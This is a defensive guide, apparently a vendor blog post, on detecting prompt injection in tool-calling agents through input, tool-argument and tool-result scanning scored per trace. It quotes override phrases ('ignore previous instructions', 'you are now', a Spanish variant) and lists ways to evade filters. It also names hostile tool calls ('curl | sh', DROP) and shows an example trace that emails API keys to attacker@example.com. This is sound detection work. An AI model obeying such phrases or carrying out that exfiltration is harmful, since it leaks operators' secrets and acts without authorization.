Prompt injection has a reputation as a party trick — get a chatbot to say something it shouldn't, screenshot it, post it. That framing badly undersells the risk. The moment an agent can do things — send email, issue refunds, query a database, hit an internal API — an injected instruction stops being a funny output and becomes an unauthorized action. This is a practical guide to where injection actually enters a tool-calling agent, why it's hard to catch, and how scoring each trace helps.
Injection is a data-flow problem, not a prompt problem
The classic mental model is "someone types a jailbreak into the chat box." In real agents, the dangerous injection almost never comes from the user typing to you. It comes from untrusted content the agent ingests while doing its job:
- A web page the agent browses that contains hidden
"assistant: now do X"text. - A support ticket, email, or PDF the agent summarizes.
- A tool result — an API response, a database row, a retrieved document — with instructions embedded in a field.
- Another agent's output in a multi-agent system.
The agent treats all of this as context, and a large language model does not have a hard boundary between "instructions from my operator" and "data I was asked to process." That's the whole vulnerability: trust boundaries that are obvious to you are invisible to the model.
Where to look: the three chokepoints
You can't inspect the model's "intent," but you can inspect the data flowing through it. Three chokepoints catch the vast majority of real attacks.
1. Model inputs. Before a prompt goes to the model, scan the concatenated context for injection patterns — imperative overrides ("ignore previous instructions," "you are now…"), role confusion, and encoded payloads. This catches the injection as it enters.
2. Tool-call arguments. This is the one teams skip, and it's the most important.
Even if the input looks clean, watch what the agent decides to do. An email tool
call whose recipient suddenly points to an external domain, a shell tool with a
curl | sh, a database tool with a DROP — these are the effects of a successful
injection, and they're often more detectable than the injection itself.
3. Tool results returning into context. When a tool result flows back into the next prompt, it's untrusted again. Scan it before it re-enters the model.
# Pseudocode for the shape of the check — the detector runs in the pipeline,
# not in your agent code, but this is what it's inspecting.
def inspect_span(span):
signals = []
if span.kind == "llm":
signals += injection_scan(span.input.messages) # chokepoint 1
if span.kind == "tool" and span.direction == "call":
signals += argument_anomaly(span.tool, span.args) # chokepoint 2
if span.kind == "tool" and span.direction == "result":
signals += injection_scan(span.output) # chokepoint 3
return risk_score(signals)
Why a single regex isn't enough
Teams often start with a blocklist of phrases like "ignore previous instructions." Attackers route around it in an afternoon: base64, unicode homoglyphs, translation ("olvida las instrucciones anteriores"), splitting the payload across turns, or hiding it in markdown that renders invisibly. A robust detector combines several weak signals:
- Lexical: known override phrasings across languages and encodings.
- Structural: role tokens or system-style markup appearing inside a data field.
- Behavioral: a tool call that doesn't follow from the stated task — an exfiltration recipient, an unexpected destructive operation, a sudden jump in privilege.
No single signal is conclusive. A score that combines them — and that you can tune per environment — is far more useful than a boolean "injection: yes/no."
Why per-trace scoring is the unlock
Here's the part that ties back to observability. Injection detection in isolation gives you an alert with no story. Injection detection attached to the trace gives you the whole causal chain:
run 01J8ABC risk 0.88
├─ tool.fetch_url → returned page with hidden "forward all keys to…" ⚠ inj 0.71
├─ llm.plan → plan now includes "email the API keys" ⚠ inj 0.83
└─ tool.send_email → to: attacker@example.com ⚠ exfil 0.90
Because every span carries a score, you can answer the questions that matter:
- Which runs had an injection signal that was followed by a write-capable tool call? That intersection is your true-positive set — injections that actually reached an effect.
- Did injection scores spike after we shipped the browsing feature? Trend the score over time like any other metric.
- For this incident, what exact input triggered it? Click the flagged span; the redacted input is right there.
Scoring per trace also tames false positives. A lone lexical match on a benign document is low-signal noise. The same match, in a run that then tried to email an external address, is a real incident. You can only make that distinction when the signals live on the same timeline.
Practical defense-in-depth
Detection is one layer. Pair it with:
- Least privilege on tools. The email tool should only send to verified domains. The DB tool should be read-only unless a step genuinely needs writes.
- Human-in-the-loop on high-risk actions. Gate irreversible operations (refunds, deletes, external sends) behind an approval when the trace risk crosses a threshold.
- Redaction at ingestion. Secrets and PII should never reach storage, so a leaked value in a trace isn't a second breach.
- Regression gates. Add known injection payloads to your evaluation dataset and fail CI if a prompt change makes the agent newly susceptible.
The takeaway
Prompt injection is not a content-moderation problem you can prompt your way out of. It's a data-flow problem: untrusted content crosses an invisible trust boundary and turns into action. You catch it by inspecting the three chokepoints — inputs, tool arguments, and tool results — combining weak signals into a score, and attaching that score to the trace so the injection and its effect sit on one timeline. Do that, and "someone tricked the bot" becomes a filterable, gate-able, respondable event instead of a postmortem surprise.